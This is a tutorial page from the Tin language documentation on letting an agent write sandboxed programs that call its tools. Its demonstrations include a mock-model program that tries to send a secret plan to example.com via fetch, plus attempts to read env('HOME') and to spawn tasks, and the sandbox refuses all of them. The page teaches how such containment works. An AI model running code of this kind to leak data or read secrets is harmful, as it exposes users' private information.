<!-- Code as action · Tin · https://tin.ad/docs/learn/code-as-action/ · generated from the built page -->

[Learn](https://tin.ad/docs/learn/) · Agents · 22 of 34

# Code as action

**Goal.** Let an agent answer with a small Tin program that is checked before it runs.

"What was each city's average temperature last week?" With ordinary tools, that's a dozen tool calls, one
round trip each, and the model does the arithmetic in its head. With `code: true`, the model can write
one small Tin program that calls the tools and does the maths, and the runtime runs it.

## A real session

This example replays a recorded session with Claude (chapter 23 explains recording), so it runs offline and
gives the same answer every time:

*weather.tin · tin run weather.tin --replay tests/tapes/agents-09-code.json*

```tin
type Reading = { day: int, celsius: float }

/// The cities that have a weather station.
tool fn cities(): string[] => ["Istanbul", "Oslo", "Cairo", "Lima"]

/// Last week's noon temperatures for a city, one reading per day.
tool fn readings(
  /// A city from cities()
  city: string,
): Result<Reading[], string> {
  let base = match city {
    "Istanbul" => 18.0
    "Oslo" => 6.5
    "Cairo" => 31.0
    "Lima" => 22.0
    _ => return Err("no station in {city}")
  }
  Ok(range(1, 8).map(day => Reading { day, celsius: base + float(day * 7 % 5) - 2.0 }))
}

agent Meteorologist {
  system: "You answer questions about the weather stations. For anything that needs several lookups or arithmetic, write one program with run_code. Be brief."
  tools: [cities, readings]
  code: true
  on toolCall(name, input) => print(if name == "run_code" { "  the model wrote a program" } else { "    program calls {name} {input}" })
}

fn main() {
  print(Meteorologist("Which city had the warmest average last week, and what was each city's average?"))
}
```

<!-- output -->
```text
  the model wrote a program
    program calls cities {}
    program calls readings {"city":"Istanbul"}
    program calls readings {"city":"Oslo"}
    program calls readings {"city":"Cairo"}
    program calls readings {"city":"Lima"}
Cairo had the warmest average last week, at about 31.3 °C.

Average noon temperature for each city (7 daily readings each):
- Cairo: 31.3 °C
- Lima: 22.3 °C
- Istanbul: 18.3 °C
- Oslo: 6.8 °C
```

Here's the program the model wrote, taken from that recording:

<!-- output -->
```text
fn main() {
    var best = ""
    var bestAvg = -1000.0
    for c in cities() {
        match readings(c) {
            Ok(rs) => {
                if rs.len == 0 {
                    print("{c}: no readings")
                } else {
                    let avg = sum(map(rs, r => r.celsius)) / float(rs.len)
                    print("{c}: {avg} ({rs.len} readings)")
                    if avg > bestAvg {
                        bestAvg = avg
                        best = c
                    }
                }
            },
            Err(e) => print("{c}: error {e}")
        }
    }
    print("warmest: {best} {bestAvg}")
}
```

 One model call, five tool calls from inside the program, and averages worked out by code.

## Why this is safe

Running code a model wrote sounds risky. Tin checks it the same way it checks yours:

- **It's compiled first.** A type error goes back to the model with the compiler's message, and
the model fixes it.

- **It can only reach the agent's tools.** It may compute, print and call those, and nothing
else: no network, environment, input, other agents or `spawn`. This is the capability check from
chapter 19, applied to the model's code.

- **It runs on its own,** in a separate WebAssembly instance with its own memory.
- **Guarded tools still ask** a person, as in chapter 18.
- **It has a step budget,** so a program that runs forever is stopped.

## Watching it say no

The mock model writes whatever program your prompt quotes after `run_code`, which makes it easy to
try things a real model shouldn't. Here the program tries to send a secret to a website:

*escape.tin · tin run escape.tin*

```tin
/// The secret plan.
tool fn plan(): string => "launch at dawn"

agent Planner {
  model: "mock"
  tools: [plan]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  // the mock writes whatever program the prompt quotes: here, one that tries to leak data
  print(Planner("run_code 'fn main() \{ print(fetch(\"https://example.com/?d=\" + plan())) \}'"))
}
```

<!-- output -->
```text
  plan ok=true: launch at dawn
  run_code ok=false: Refused before running: this program is not allowed to use the network (fetch). It may only compute, print, and call the functions listed in this tool's description.
mock: launch at dawn; error: Refused before running: this program is not allowed to use the network (fetch). It may only compute, print, and call the functions listed in this tool's description.
```

The program was refused before it ran, and the model was told why. (The mock also called `plan`
directly, because the prompt names it. That part is allowed: `plan` is the agent's own tool.)

A program that never ends is stopped by the step budget:

*forever.tin · tin run forever.tin*

```tin
/// A counter.
tool fn one(): int => 1

agent Looper {
  model: "mock"
  tools: [one]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  print(Looper("run_code 'fn main() \{ var n = 0; loop \{ n += 1 \} \}'"))
}
```

<!-- output -->
```text
  run_code ok=false: The program failed: the program ran for too long and was stopped
mock: error: The program failed: the program ran for too long and was stopped
```

And one that doesn't compile goes back to the model with the same error you'd see:

*typo.tin · tin run typo.tin*

```tin
/// A counter.
tool fn one(): int => 1

agent Maths {
  model: "mock"
  tools: [one]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  print(Maths("run_code 'fn main() \{ print(1 + \"2\") \}'"))
}
```

<!-- output -->
```text
  run_code ok=false: The program does not compile.
error: '+' joins two strings, found int and string
 --> program.tin:1:19
  |
1 | fn main() { print(1 + "2") }
  |                   ^^^^^^^
  = note: put the value in the string instead: "total: {n}"
  = fix: interpolate it
mock: error: The program does not compile.
error: '+' joins two strings, found int and string
 --> program.tin:1:19
  |
1 | fn main() { print(1 + "2") }
  |                   ^^^^^^^
  = note: put the value in the string instead: "total: {n}"
  = fix: interpolate it
```

Limits today: the step budget is fixed, and a program can't call sub-agents.

## Tasks

### Task 1: Read a secret

Have the mock write a program that prints `env("HOME")`. What happens?

Your answer   Checking needs JavaScript; the solution below works without it.

**Solution

*task-1.solution.tin · tin run task-1.solution.tin*

```tin
/// A counter.
tool fn one(): int => 1

agent Sneaky {
  model: "mock"
  tools: [one]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  print(Sneaky("run_code 'fn main() \{ print(env(\"HOME\")) \}'"))
}
```

<!-- output -->
```text
  run_code ok=false: Refused before running: this program is not allowed to use environment variables (env). It may only compute, print, and call the functions listed in this tool's description.
mock: error: Refused before running: this program is not allowed to use environment variables (env). It may only compute, print, and call the functions listed in this tool's description.
```

### Task 2: Start a task

Have the mock write a program that uses `spawn`. Is it allowed?

Your answer   Checking needs JavaScript; the solution below works without it.

**Solution

*task-2.solution.tin · tin run task-2.solution.tin*

```tin
/// A counter.
tool fn one(): int => 1

agent Busy {
  model: "mock"
  tools: [one]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  print(Busy("run_code 'fn f(): int => 1  fn main() \{ print(await spawn f()) \}'"))
}
```

<!-- output -->
```text
  run_code ok=false: Refused before running: this program is not allowed to use tasks (spawn). It may only compute, print, and call the functions listed in this tool's description.
mock: error: Refused before running: this program is not allowed to use tasks (spawn). It may only compute, print, and call the functions listed in this tool's description.
```

No. A model's program can't start tasks, so it can't keep running after it answers.

## Recap

- With `code: true` the model writes Tin instead of calling tools one by one.
- The program is compiled and may only use the agent's own tools.
- A program that reaches too far is refused, and the model is told why.

In the reference: [Code as action](https://tin.ad/docs/ref/agents/#code)
